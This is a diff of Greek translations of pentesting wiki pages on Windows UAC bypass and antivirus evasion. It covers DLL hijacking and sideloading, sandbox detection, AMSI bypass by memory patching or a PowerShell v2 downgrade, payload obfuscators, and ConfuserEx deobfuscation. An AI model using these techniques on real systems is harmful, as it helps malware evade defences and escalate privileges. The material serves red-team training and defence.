αποδεχθεί**. ### Η δική σας παράκαμψη - Βασική μεθοδολογία UAC bypass Αν ρίξετε μια ματιά στο **UACME** θα παρατηρήσετε ότι **οι περισσότερες παρακάμψεις UAC εκμεταλλεύονται μια ευπάθεια Dll Hijacking** (κυρίως γράφοντας το κακόβουλο dll στο _C:\Windows\System32_). [Διαβάστε αυτό για να μάθετε πώς να βρείτε μια ευπάθεια Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html). -1. Βρείτε ένα δυαδικό αρχείο που θα **αυτοανυψώνεται** (ελέγξτε ότι όταν εκτελείται τρέχει σε υψηλό επίπεδο ακεραιότητας). +1. Βρείτε ένα δυαδικό που θα **αυτοανυψώνεται** (ελέγξτε ότι όταν εκτελείται τρέχει σε υψηλό επίπεδο ακεραιότητας). 2. Με το procmon βρείτε γεγονότα "**NAME NOT FOUND**" που μπορεί να είναι ευάλωτα σε **DLL Hijacking**. 3. Πιθανώς θα χρειαστεί να **γράψετε** το DLL μέσα σε κάποιες **προστατευμένες διαδρομές** (όπως C:\Windows\System32) όπου δεν έχετε δικαιώματα εγγραφής. Μπορείτε να παρακάμψετε αυτό χρησιμοποιώντας: 1. **wusa.exe**: Windows 7,8 και 8.1. Επιτρέπει την εξαγωγή του περιεχομένου ενός CAB αρχείου μέσα σε προστατευμένες διαδρομές (επειδή αυτό το εργαλείο εκτελείται από υψηλό επίπεδο ακεραιότητας). 2. **IFileOperation**: Windows 10. -4. Ετοιμάστε ένα **script** για να αντιγράψετε το DLL μέσα στην προστατευμένη διαδρομή και να εκτελέσετε το ευάλωτο και αυτοανυψωμένο δυαδικό αρχείο. +4. Ετοιμάστε ένα **script** για να αντιγράψετε το DLL μέσα στην προστατευμένη διαδρομή και να εκτελέσετε το ευάλωτο και αυτοανυψωμένο δυαδικό. ### Μια άλλη τεχνική UAC bypass diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index d00966d37..ee8c8fffd 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -12,7 +12,7 @@ ## **AV Evasion Methodology** -Αυτή τη στιγμή, τα AV χρησιμοποιούν διάφορες μεθόδους για να ελέγξουν αν ένα αρχείο είναι κακόβουλο ή όχι, στατική ανίχνευση, δυναμική ανάλυση, και για τα πιο προηγμένα EDRs, συμπεριφορική ανάλυση. +Αυτή τη στιγμή, τα AV χρησιμοποιούν διάφορες μεθόδους για να ελέγξουν αν ένα αρχείο είναι κακόβουλο ή όχι, στατική ανίχνευση, δυναμική ανάλυση, και για τα πιο προηγμένα EDRs, ανάλυση συμπεριφοράς. ### **Static detection** @@ -40,41 +40,41 @@ Η δυναμική ανάλυση είναι όταν το AV εκτελεί το δυαδικό σας σε ένα sandbox και παρακολουθεί για κακόβουλη δραστηριότητα (π.χ. προσπαθώντας να αποκρυπτογραφήσει και να διαβάσει τους κωδικούς πρόσβασης του προγράμματος περιήγησης σας, εκτελώντας ένα minidump στο LSASS, κ.λπ.). Αυτό το μέρος μπορεί να είναι λίγο πιο δύσκολο να δουλέψετε, αλλά εδώ είναι μερικά πράγματα που μπορείτε να κάνετε για να παρακάμψετε τα sandbox. - **Sleep before execution** Ανάλογα με το πώς έχει υλοποιηθεί, μπορεί να είναι ένας εξαιρετικός τρόπος για να παρακάμψετε την δυναμική ανάλυση του AV. Τα AV έχουν πολύ λίγο χρόνο για να σαρώσουν τα αρχεία ώστε να μην διαταράξουν τη ροή εργασίας του χρήστη, οπότε η χρήση μεγάλων ύπνων μπορεί να διαταράξει την ανάλυση των δυαδικών. Το πρόβλημα είναι ότι πολλά sandbox AV μπορούν απλά να παραλείψουν τον ύπνο ανάλογα με το πώς έχει υλοποιηθεί. -- **Checking machine's resources** Συνήθως, τα Sandbox έχουν πολύ λίγους πόρους για να δουλέψουν (π.χ. < 2GB RAM), αλλιώς θα μπορούσαν να επιβραδύνουν τη μηχανή του χρήστη. Μπορείτε επίσης να γίνετε πολύ δημιουργικοί εδώ, για παράδειγμα ελέγχοντας τη θερμοκρασία της CPU ή ακόμη και τις ταχύτητες των ανεμιστήρων, δεν θα έχει όλα υλοποιηθεί στο sandbox. -- **Machine-specific checks** Αν θέλετε να στοχεύσετε έναν χρήστη του οποίου ο σταθμός εργασίας είναι συνδεδεμένος στο domain "contoso.local", μπορείτε να κάνετε έναν έλεγχο στο domain του υπολογιστή για να δείτε αν ταιριάζει με αυτό που έχετε καθορίσει, αν δεν ταιριάζει, μπορείτε να κάνετε το πρόγραμμα σας να τερματιστεί. +- **Checking machine's resources** Συνήθως τα Sandbox έχουν πολύ λίγους πόρους για να δουλέψουν (π.χ. < 2GB RAM), αλλιώς θα μπορούσαν να επιβραδύνουν τη μηχανή του χρήστη. Μπορείτε επίσης να γίνετε πολύ δημιουργικοί εδώ, για παράδειγμα ελέγχοντας τη θερμοκρασία της CPU ή ακόμη και τις ταχύτητες των ανεμιστήρων, δεν θα έχει όλα υλοποιηθεί στο sandbox. +- **Machine-specific checks** Αν θέλετε να στοχεύσετε έναν χρήστη του οποίου ο σταθμός εργασίας είναι συνδεδεμένος στο domain "contoso.local", μπορείτε να κάνετε έναν έλεγχο στο domain του υπολογιστή για να δείτε αν ταιριάζει με αυτό που έχετε καθορίσει, αν δεν ταιριάζει, μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει. -Αποδεικνύεται ότι το όνομα υπολογιστή του Sandbox του Microsoft Defender είναι HAL9TH, οπότε μπορείτε να ελέγξετε το όνομα υπολογιστή στο κακόβουλο λογισμικό σας πριν από την έκρηξη, αν το όνομα ταιριάζει με το HAL9TH, σημαίνει ότι βρίσκεστε μέσα στο sandbox του defender, οπότε μπορείτε να κάνετε το πρόγραμμα σας να τερματιστεί. +Αποδεικνύεται ότι το όνομα υπολογιστή του Sandbox του Microsoft Defender είναι HAL9TH, οπότε μπορείτε να ελέγξετε το όνομα υπολογιστή στο κακόβουλο λογισμικό σας πριν από την έκρηξη, αν το όνομα ταιριάζει με το HAL9TH, σημαίνει ότι βρίσκεστε μέσα στο sandbox του defender, οπότε μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει.

πηγή: https://youtu.be/StSLxFbVz0M?t=1439

-Μερικές άλλες πολύ καλές συμβουλές από [@mgeeky](https://twitter.com/mariuszbit) για να πάτε ενάντια στα Sandboxes +Ορισμένες άλλες πολύ καλές συμβουλές από [@mgeeky](https://twitter.com/mariuszbit) για να πάτε ενάντια στα Sandboxes

Red Team VX Discord #malware-dev κανάλι

-Όπως έχουμε πει πριν σε αυτήν την ανάρτηση, **δημόσια εργαλεία** θα εν τέλει **ανιχνευθούν**, οπότε, θα πρέπει να ρωτήσετε τον εαυτό σας κάτι: +Όπως έχουμε πει προηγουμένως σε αυτήν την ανάρτηση, **δημόσια εργαλεία** θα **ανιχνευθούν** τελικά, οπότε, θα πρέπει να ρωτήσετε τον εαυτό σας κάτι: Για παράδειγμα, αν θέλετε να κάνετε dump LSASS, **χρειάζεστε πραγματικά να χρησιμοποιήσετε το mimikatz**; Ή θα μπορούσατε να χρησιμοποιήσετε ένα διαφορετικό έργο που είναι λιγότερο γνωστό και επίσης κάνει dump LSASS. -Η σωστή απάντηση είναι πιθανώς η δεύτερη. Παίρνοντας το mimikatz ως παράδειγμα, είναι πιθανώς ένα από τα πιο, αν όχι το πιο, επισημασμένα κομμάτια κακόβουλου λογισμικού από τα AV και EDRs, ενώ το έργο αυτό είναι πολύ ωραίο, είναι επίσης ένας εφιάλτης να δουλέψετε με αυτό για να παρακάμψετε τα AV, οπότε απλά αναζητήστε εναλλακτικές για αυτό που προσπαθείτε να πετύχετε. +Η σωστή απάντηση είναι πιθανώς η δεύτερη. Παίρνοντας το mimikatz ως παράδειγμα, είναι πιθανώς ένα από τα πιο επισημασμένα κομμάτια κακόβουλου λογισμικού από τα AV και EDRs, ενώ το έργο αυτό είναι πολύ ωραίο, είναι επίσης ένας εφιάλτης να δουλέψετε μαζί του για να παρακάμψετε τα AV, οπότε απλά αναζητήστε εναλλακτικές για αυτό που προσπαθείτε να επιτύχετε. > [!TIP] > Όταν τροποποιείτε τα payload σας για αποφυγή, βεβαιωθείτε ότι έχετε **απενεργοποιήσει την αυτόματη υποβολή δειγμάτων** στον defender, και παρακαλώ, σοβαρά, **ΜΗΝ ΑΝΕΒΑΖΕΤΕ ΣΤΟ VIRUSTOTAL** αν ο στόχος σας είναι να επιτύχετε αποφυγή μακροπρόθεσμα. Αν θέλετε να ελέγξετε αν το payload σας ανιχνεύεται από ένα συγκεκριμένο AV, εγκαταστήστε το σε μια VM, προσπαθήστε να απενεργοποιήσετε την αυτόματη υποβολή δειγμάτων, και δοκιμάστε το εκεί μέχρι να είστε ικανοποιημένοι με το αποτέλεσμα. ## EXEs vs DLLs -Όποτε είναι δυνατόν, πάντα **προτιμήστε τη χρήση DLLs για αποφυγή**, από την εμπειρία μου, τα αρχεία DLL είναι συνήθως **πολύ λιγότερο ανιχνεύσιμα** και αναλυόμενα, οπότε είναι ένα πολύ απλό κόλπο για να αποφύγετε την ανίχνευση σε ορισμένες περιπτώσεις (αν το payload σας έχει κάποιον τρόπο να εκτελείται ως DLL φυσικά). +Όποτε είναι δυνατόν, πάντα **προτιμήστε να χρησιμοποιείτε DLLs για αποφυγή**, από την εμπειρία μου, τα αρχεία DLL είναι συνήθως **πολύ λιγότερο ανιχνεύσιμα** και αναλυόμενα, οπότε είναι ένα πολύ απλό κόλπο για να αποφύγετε την ανίχνευση σε ορισμένες περιπτώσεις (αν το payload σας έχει κάποιον τρόπο να εκτελείται ως DLL φυσικά). Όπως μπορούμε να δούμε σε αυτήν την εικόνα, ένα DLL Payload από το Havoc έχει ποσοστό ανίχνευσης 4/26 στο antiscan.me, ενώ το EXE payload έχει ποσοστό ανίχνευσης 7/26. -

σύγκριση του κανονικού Havoc EXE payload με ένα κανονικό Havoc DLL στο antiscan.me

+

σύγκριση του κανονικού Havoc EXE payload με ένα κανονικό Havoc DLL

Τώρα θα δείξουμε μερικά κόλπα που μπορείτε να χρησιμοποιήσετε με αρχεία DLL για να είστε πολύ πιο διακριτικοί. ## DLL Sideloading & Proxying -**DLL Sideloading** εκμεταλλεύεται τη σειρά αναζήτησης DLL που χρησιμοποιείται από τον φορτωτή τοποθετώντας τόσο την εφαρμογή του θύματος όσο και τα κακόβουλα payload(s) δίπλα-δίπλα. +**DLL Sideloading** εκμεταλλεύεται τη σειρά αναζήτησης DLL που χρησιμοποιείται από τον φορτωτή τοποθετώντας τόσο την εφαρμογή-στόχο όσο και τα κακόβουλα payloads δίπλα-δίπλα. -Μπορείτε να ελέγξετε για προγράμματα που είναι ευάλωτα στο DLL Sideloading χρησιμοποιώντας το [Siofra](https://github.com/Cybereason/siofra) και το παρακάτω script powershell: +Μπορείτε να ελέγξετε για προγράμματα που είναι ευάλωτα σε DLL Sideloading χρησιμοποιώντας το [Siofra](https://github.com/Cybereason/siofra) και το παρακάτω script powershell: ```bash Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ @@ -106,7 +106,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija ```
-Και ο κώδικας μας (κωδικοποιημένος με [SGN](https://github.com/EgeBalci/sgn)) και η DLL proxy έχουν ποσοστό ανίχνευσης 0/26 στο [antiscan.me](https://antiscan.me)! Θα το χαρακτήριζα επιτυχία. +Και ο κώδικας μας (κωδικοποιημένος με [SGN](https://github.com/EgeBalci/sgn)) και η proxy DLL έχουν ποσοστό ανίχνευσης 0/26 στο [antiscan.me](https://antiscan.me)! Θα το χαρακτήριζα επιτυχία.
@@ -131,7 +131,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez ## AMSI (Διεπαφή Σάρωσης Κακόβουλου Λογισμικού) -Η AMSI δημιουργήθηκε για να αποτρέψει το "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Αρχικά, οι AVs ήταν ικανοί να σαρώνουν μόνο **αρχεία στον δίσκο**, οπότε αν μπορούσατε με κάποιον τρόπο να εκτελέσετε payloads **άμεσα στη μνήμη**, ο AV δεν μπορούσε να κάνει τίποτα για να το αποτρέψει, καθώς δεν είχε αρκετή ορατότητα. +Η AMSI δημιουργήθηκε για να αποτρέψει το "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Αρχικά, οι AVs ήταν ικανοί να σαρώνουν μόνο **αρχεία στον δίσκο**, οπότε αν μπορούσατε με κάποιο τρόπο να εκτελέσετε payloads **άμεσα στη μνήμη**, ο AV δεν μπορούσε να κάνει τίποτα για να το αποτρέψει, καθώς δεν είχε αρκετή ορατότητα. Η δυνατότητα AMSI είναι ενσωματωμένη σε αυτά τα στοιχεία των Windows. @@ -151,7 +151,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez Δεν ρίξαμε κανένα αρχείο στον δίσκο, αλλά πάλι πιαστήκαμε στη μνήμη λόγω της AMSI. -Επιπλέον, ξεκινώντας με **.NET 4.8**, ο κώδικας C# εκτελείται μέσω της AMSI επίσης. Αυτό επηρεάζει ακόμη και το `Assembly.Load(byte[])` για εκτέλεση στη μνήμη. Γι' αυτό συνιστάται η χρήση παλαιότερων εκδόσεων του .NET (όπως 4.7.2 ή χαμηλότερα) για εκτέλεση στη μνήμη αν θέλετε να αποφύγετε την AMSI. +Επιπλέον, ξεκινώντας με **.NET 4.8**, ο κώδικας C# εκτελείται μέσω της AMSI επίσης. Αυτό επηρεάζει ακόμη και το `Assembly.Load(byte[])` για την εκτέλεση στη μνήμη. Γι' αυτό συνιστάται η χρήση παλαιότερων εκδόσεων του .NET (όπως 4.7.2 ή χαμηλότερα) για την εκτέλεση στη μνήμη αν θέλετε να αποφύγετε την AMSI. Υπάρχουν μερικοί τρόποι για να παρακάμψετε την AMSI: @@ -163,7 +163,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez - **Παράκαμψη AMSI** -Δεδομένου ότι η AMSI υλοποιείται φορτώνοντας μια DLL στη διαδικασία του powershell (επίσης cscript.exe, wscript.exe, κ.λπ.), είναι δυνατόν να παρέμβετε σε αυτήν εύκολα ακόμη και εκτελώντας ως μη προνομιούχος χρήστης. Λόγω αυτού του σφάλματος στην υλοποίηση της AMSI, οι ερευνητές έχουν βρει πολλούς τρόπους για να παρακάμψουν την ανίχνευση της AMSI. +Δεδομένου ότι η AMSI υλοποιείται φορτώνοντας μια DLL στη διαδικασία του powershell (επίσης cscript.exe, wscript.exe, κ.λπ.), είναι δυνατό να παρέμβετε σε αυτήν εύκολα ακόμη και εκτελώντας ως μη προνομιούχος χρήστης. Λόγω αυτού του σφάλματος στην υλοποίηση της AMSI, οι ερευνητές έχουν βρει πολλούς τρόπους για να παρακάμψουν την ανίχνευση της AMSI. **Εξαναγκασμός Σφάλματος** @@ -191,14 +191,14 @@ Keep in mind, that this will probably get flagged once this post comes out, so y **Memory Patching** -Αυτή η τεχνική ανακαλύφθηκε αρχικά από [@RastaMouse](https://twitter.com/_RastaMouse/) και περιλαμβάνει την εύρεση διεύθυνσης για τη λειτουργία "AmsiScanBuffer" στο amsi.dll (υπεύθυνη για την σάρωση της εισόδου που παρέχεται από τον χρήστη) και την αντικατάστασή της με οδηγίες για να επιστρέψει τον κωδικό E_INVALIDARG, με αυτόν τον τρόπο, το αποτέλεσμα της πραγματικής σάρωσης θα επιστρέψει 0, το οποίο ερμηνεύεται ως καθαρό αποτέλεσμα. +Αυτή η τεχνική ανακαλύφθηκε αρχικά από [@RastaMouse](https://twitter.com/_RastaMouse/) και περιλαμβάνει την εύρεση της διεύθυνσης για τη λειτουργία "AmsiScanBuffer" στο amsi.dll (υπεύθυνη για την σάρωση της εισόδου που παρέχεται από τον χρήστη) και την αντικατάστασή της με οδηγίες για να επιστρέψει τον κωδικό E_INVALIDARG, με αυτόν τον τρόπο, το αποτέλεσμα της πραγματικής σάρωσης θα επιστρέψει 0, το οποίο ερμηνεύεται ως καθαρό αποτέλεσμα. > [!TIP] > Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation. -There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them. +Υπάρχουν επίσης πολλές άλλες τεχνικές που χρησιμοποιούνται για να παρακάμψουν το AMSI με το powershell, ρίξτε μια ματιά [**σε αυτή τη σελίδα**](basic-powershell-for-pentesters/index.html#amsi-bypass) και [**σε αυτό το repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) για να μάθετε περισσότερα σχετικά με αυτές. -This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI. +Αυτό το εργαλείο [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) δημιουργεί επίσης σενάριο για να παρακάμψει το AMSI. **Remove the detected signature** @@ -206,10 +206,10 @@ This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangv **AV/EDR products that uses AMSI** -You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**. +Μπορείτε να βρείτε μια λίστα με προϊόντα AV/EDR που χρησιμοποιούν το AMSI στο **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**. **Use Powershell version 2** -If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this: +Αν χρησιμοποιείτε την έκδοση 2 του PowerShell, το AMSI δεν θα φορτωθεί, οπότε μπορείτε να εκτελέσετε τα σενάριά σας χωρίς να σαρωθείτε από το AMSI. Μπορείτε να το κάνετε αυτό: ```bash powershell.exe -version 2 ``` @@ -226,20 +226,20 @@ powershell.exe -version 2 ## Obfuscation > [!TIP] -> Πολλές τεχνικές απόκρυψης βασίζονται στην κρυπτογράφηση δεδομένων, γεγονός που θα αυξήσει την εντροπία του δυαδικού αρχείου, διευκολύνοντας την ανίχνευσή του από AVs και EDRs. Να είστε προσεκτικοί με αυτό και ίσως να εφαρμόσετε κρυπτογράφηση μόνο σε συγκεκριμένα τμήματα του κώδικά σας που είναι ευαίσθητα ή χρειάζονται απόκρυψη. +> Πολλές τεχνικές παραπλάνησης βασίζονται στην κρυπτογράφηση δεδομένων, η οποία θα αυξήσει την εντροπία του δυαδικού αρχείου, διευκολύνοντας έτσι την ανίχνευσή του από τα AVs και EDRs. Να είστε προσεκτικοί με αυτό και ίσως να εφαρμόσετε κρυπτογράφηση μόνο σε συγκεκριμένα τμήματα του κώδικά σας που είναι ευαίσθητα ή χρειάζονται απόκρυψη. ### Deobfuscating ConfuserEx-Protected .NET Binaries -Όταν αναλύετε κακόβουλο λογισμικό που χρησιμοποιεί το ConfuserEx 2 (ή εμπορικές παραλλαγές), είναι συνηθισμένο να αντιμετωπίζετε πολλές στρώσεις προστασίας που θα μπλοκάρουν τους αποσυμπιεστές και τις sandbox. Η ροή εργασίας παρακάτω αποκαθιστά αξιόπιστα **μια σχεδόν αυθεντική IL** που μπορεί στη συνέχεια να αποσυμπιεστεί σε C# σε εργαλεία όπως το dnSpy ή ILSpy. +Όταν αναλύετε κακόβουλο λογισμικό που χρησιμοποιεί το ConfuserEx 2 (ή εμπορικά forks), είναι συνηθισμένο να αντιμετωπίζετε πολλές στρώσεις προστασίας που θα μπλοκάρουν τους αποσυμπιεστές και τις sandbox. Η ροή εργασίας παρακάτω αποκαθιστά αξιόπιστα **μια σχεδόν-αρχική IL** που μπορεί στη συνέχεια να αποσυμπιεστεί σε C# σε εργαλεία όπως το dnSpy ή ILSpy. -1. Αφαίρεση αντι-παρεμβολής – Το ConfuserEx κρυπτογραφεί κάθε *σώμα μεθόδου* και το αποκρυπτογραφεί μέσα στον *στατικό κατασκευαστή* του *module* (`.cctor`). Αυτό επίσης διορθώνει το PE checksum, οπότε οποιαδήποτε τροποποίηση θα προκαλέσει κατάρρευση του δυαδικού αρχείου. Χρησιμοποιήστε το **AntiTamperKiller** για να εντοπίσετε τους κρυπτογραφημένους πίνακες μεταδεδομένων, να ανακτήσετε τα κλειδιά XOR και να ξαναγράψετε μια καθαρή συναρμολόγηση: +1. Αφαίρεση αντι-παρεμβολής – Το ConfuserEx κρυπτογραφεί κάθε *σώμα μεθόδου* και το αποκρυπτογραφεί μέσα στον *στατικό κατασκευαστή* του *module* (`.cctor`). Αυτό επίσης διορθώνει το PE checksum, οπότε οποιαδήποτε τροποποίηση θα καταρρεύσει το δυαδικό αρχείο. Χρησιμοποιήστε το **AntiTamperKiller** για να εντοπίσετε τους κρυπτογραφημένους πίνακες μεταδεδομένων, να ανακτήσετε τα κλειδιά XOR και να ξαναγράψετε μια καθαρή συναρμολόγηση: ```bash # https://github.com/wwh1004/AntiTamperKiller python AntiTamperKiller.py Confused.exe Confused.clean.exe ``` Η έξοδος περιέχει τις 6 παραμέτρους αντι-παρεμβολής (`key0-key3`, `nameHash`, `internKey`) που μπορεί να είναι χρήσιμες κατά την κατασκευή του δικού σας αποσυμπιεστή. -2. Ανάκτηση συμβόλων / ροής ελέγχου – τροφοδοτήστε το *καθαρό* αρχείο στο **de4dot-cex** (μια παραλλαγή του de4dot που γνωρίζει το ConfuserEx). +2. Ανάκτηση συμβόλων / ροής ελέγχου – τροφοδοτήστε το *καθαρό* αρχείο στο **de4dot-cex** (ένα fork του de4dot που γνωρίζει το ConfuserEx). ```bash de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe ``` @@ -251,13 +251,13 @@ de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe ```bash ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe ``` -Μετά από αυτό το βήμα, θα πρέπει να παρατηρήσετε κανονικές .NET API όπως `Convert.FromBase64String` ή `AES.Create()` αντί για αδιαφανείς λειτουργίες περιτύλιξης (`Class8.smethod_10`, …). +Μετά από αυτό το βήμα, θα πρέπει να παρατηρήσετε κανονικά .NET API όπως `Convert.FromBase64String` ή `AES.Create()` αντί για αδιαφανείς λειτουργίες περιτύλιξης (`Class8.smethod_10`, …). -4. Χειροκίνητος καθαρισμός – εκτελέστε το προκύπτον δυαδικό αρχείο κάτω από το dnSpy, αναζητήστε μεγάλες μπάλες Base64 ή χρήση `RijndaelManaged`/`TripleDESCryptoServiceProvider` για να εντοπίσετε το *πραγματικό* φορτίο. Συχνά το κακόβουλο λογισμικό το αποθηκεύει ως TLV-κωδικοποιημένο πίνακα byte που αρχικοποιείται μέσα στο `.byte_0`. +4. Χειροκίνητος καθαρισμός – εκτελέστε το προκύπτον δυαδικό αρχείο κάτω από το dnSpy, αναζητήστε μεγάλες μπάλες Base64 ή χρήση `RijndaelManaged`/`TripleDESCryptoServiceProvider` για να εντοπίσετε το *πραγματικό* payload. Συχνά το κακόβουλο λογισμικό το αποθηκεύει ως TLV-κωδικοποιημένο byte array που αρχικοποιείται μέσα στο `.byte_0`. Η παραπάνω αλυσίδα αποκαθιστά τη ροή εκτέλεσης **χωρίς** να χρειάζεται να εκτελέσετε το κακόβουλο δείγμα – χρήσιμο όταν εργάζεστε σε έναν εκτός σύνδεσης σταθμό εργασίας. -> 🛈 Το ConfuserEx παράγει ένα προσαρμοσμένο χαρακτηριστικό που ονομάζεται `ConfusedByAttribute` που μπορεί να χρησιμοποιηθεί ως IOC για αυτόματη τριχοτόμηση δειγμάτων. +> 🛈 Το ConfuserEx παράγει ένα προσαρμοσμένο χαρακτηριστικό που ονομάζεται `ConfusedByAttribute` που μπορεί να χρησιμοποιηθεί ως IOC για αυτόματη ταξινόμηση δειγμάτων. #### One-liner ```bash @@ -270,8 +270,8 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): Το ADVobfuscator δείχνει πώς να χρησιμοποιήσετε τη γλώσσα `C++11/14` για να δημιουργήσετε, κατά τη διάρκεια της μεταγλώττισης, κωδικοποιημένο κώδικα χωρίς να χρησιμοποιήσετε οποιοδήποτε εξωτερικό εργαλείο και χωρίς να τροποποιήσετε τον μεταγλωττιστή. - [**obfy**](https://github.com/fritzone/obfy): Προσθέτει μια στρώση κωδικοποιημένων λειτουργιών που παράγονται από το πλαίσιο μεταπρογραμματισμού C++ template, το οποίο θα κάνει τη ζωή του ατόμου που θέλει να σπάσει την εφαρμογή λίγο πιο δύσκολη. - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Το Alcatraz είναι ένας κωδικοποιητής δυαδικών αρχείων x64 που είναι ικανός να κωδικοποιεί διάφορα διαφορετικά αρχεία pe, συμπεριλαμβανομένων: .exe, .dll, .sys -- [**metame**](https://github.com/a0rtega/metame): Το Metame είναι μια απλή μηχανή μεταμορφωτικού κώδικα για αυθαίρετα εκτελέσιμα. -- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): Το ROPfuscator είναι ένα πλαίσιο κωδικοποίησης λεπτομερούς κώδικα για γλώσσες που υποστηρίζονται από LLVM χρησιμοποιώντας ROP (προγραμματισμός με προσανατολισμό επιστροφής). Το ROPfuscator κωδικοποιεί ένα πρόγραμμα σε επίπεδο κώδικα assembly μετατρέποντας κανονικές εντολές σε αλυσίδες ROP, αποτρέποντας την φυσική μας αντίληψη της κανονικής ροής ελέγχου. +- [**metame**](https://github.com/a0rtega/metame): Το Metame είναι ένας απλός κινητικός κωδικός μηχανής για αυθαίρετους εκτελέσιμους. +- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): Το ROPfuscator είναι ένα λεπτομερές πλαίσιο κωδικοποίησης για γλώσσες που υποστηρίζονται από LLVM χρησιμοποιώντας ROP (programming oriented return). Το ROPfuscator κωδικοποιεί ένα πρόγραμμα σε επίπεδο κώδικα συναρμολόγησης μετατρέποντας κανονικές εντολές σε αλυσίδες ROP, αποτρέποντας την φυσική μας αντίληψη της κανονικής ροής ελέγχου. - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Το Nimcrypt είναι ένας .NET PE Crypter γραμμένος σε Nim - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Το Inceptor είναι ικανό να μετατρέπει υπάρχοντα EXE/DLL σε shellcode και στη συνέχεια να τα φορτώνει @@ -338,7 +338,7 @@ Here is a demo για την παράκαμψη του SmartScreen με την Δεδομένου ότι το payload θα φορτωθεί απευθείας στη μνήμη χωρίς να αγγίξει τον δίσκο, θα πρέπει να ανησυχούμε μόνο για την επιδιόρθωση του AMSI για ολόκληρη τη διαδικασία. -Οι περισσότερες C2 πλατφόρμες (sliver, Covenant, metasploit, CobaltStrike, Havoc, κ.λπ.) παρέχουν ήδη τη δυνατότητα εκτέλεσης C# assemblies απευθείας στη μνήμη, αλλά υπάρχουν διαφορετικοί τρόποι για να το κάνετε αυτό: +Οι περισσότερες C2 πλατφόρμες (sliver, Covenant, metasploit, CobaltStrike, Havoc, κ.λπ.) παρέχουν ήδη τη δυνατότητα εκτέλεσης C# assemblies απευθείας στη μνήμη, αλλά υπάρχουν διάφοροι τρόποι για να το κάνετε αυτό: - **Fork\&Run** @@ -357,13 +357,13 @@ Here is a demo για την παράκαμψη του SmartScreen με την Μπορείτε επίσης να φορτώσετε C# Assemblies **από το PowerShell**, ελέγξτε το [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) και το [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk). -## Χρησιμοποιώντας Άλλες Γλώσσες Προγραμματισμού +## Χρήση Άλλων Γλωσσών Προγραμματισμού Όπως προτάθηκε στο [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), είναι δυνατό να εκτελέσετε κακόβουλο κώδικα χρησιμοποιώντας άλλες γλώσσες δίνοντας στη συμβιβασμένη μηχανή πρόσβαση **στο περιβάλλον διερμηνέα που είναι εγκατεστημένο στο SMB share που ελέγχεται από τον επιτιθέμενο**. -Επιτρέποντας πρόσβαση στα Δυαδικά Αρχεία Διερμηνέα και το περιβάλλον στο SMB share μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε αυτές τις γλώσσες μέσα στη μνήμη** της συμβιβασμένης μηχανής. +Επιτρέποντας την πρόσβαση στα Δυαδικά Αρχεία Διερμηνέα και το περιβάλλον στο SMB share μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε αυτές τις γλώσσες μέσα στη μνήμη** της συμβιβασμένης μηχανής. -Το repo υποδεικνύει: Ο Defender εξακολουθεί να σαρώνει τα σενάρια αλλά χρησιμοποιώντας Go, Java, PHP κ.λπ. έχουμε **περισσότερη ευελιξία για να παρακάμψουμε τις στατικές υπογραφές**. Οι δοκιμές με τυχαία μη-αποκρυπτογραφημένα reverse shell scripts σε αυτές τις γλώσσες έχουν αποδειχθεί επιτυχείς. +Το repo υποδεικνύει: Ο Defender εξακολουθεί να σαρώνει τα σενάρια αλλά χρησιμοποιώντας Go, Java, PHP κ.λπ. έχουμε **περισσότερη ευελιξία για να παρακάμψουμε τις στατικές υπογραφές**. Οι δοκιμές με τυχαία μη-αποκρυπτογραφημένα σενάρια reverse shell σε αυτές τις γλώσσες έχουν αποδειχθεί επιτυχείς. ## TokenStomping @@ -375,11 +375,11 @@ Here is a demo για την παράκαμψη του SmartScreen με την - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) -## Χρησιμοποιώντας Εμπιστοσύνη 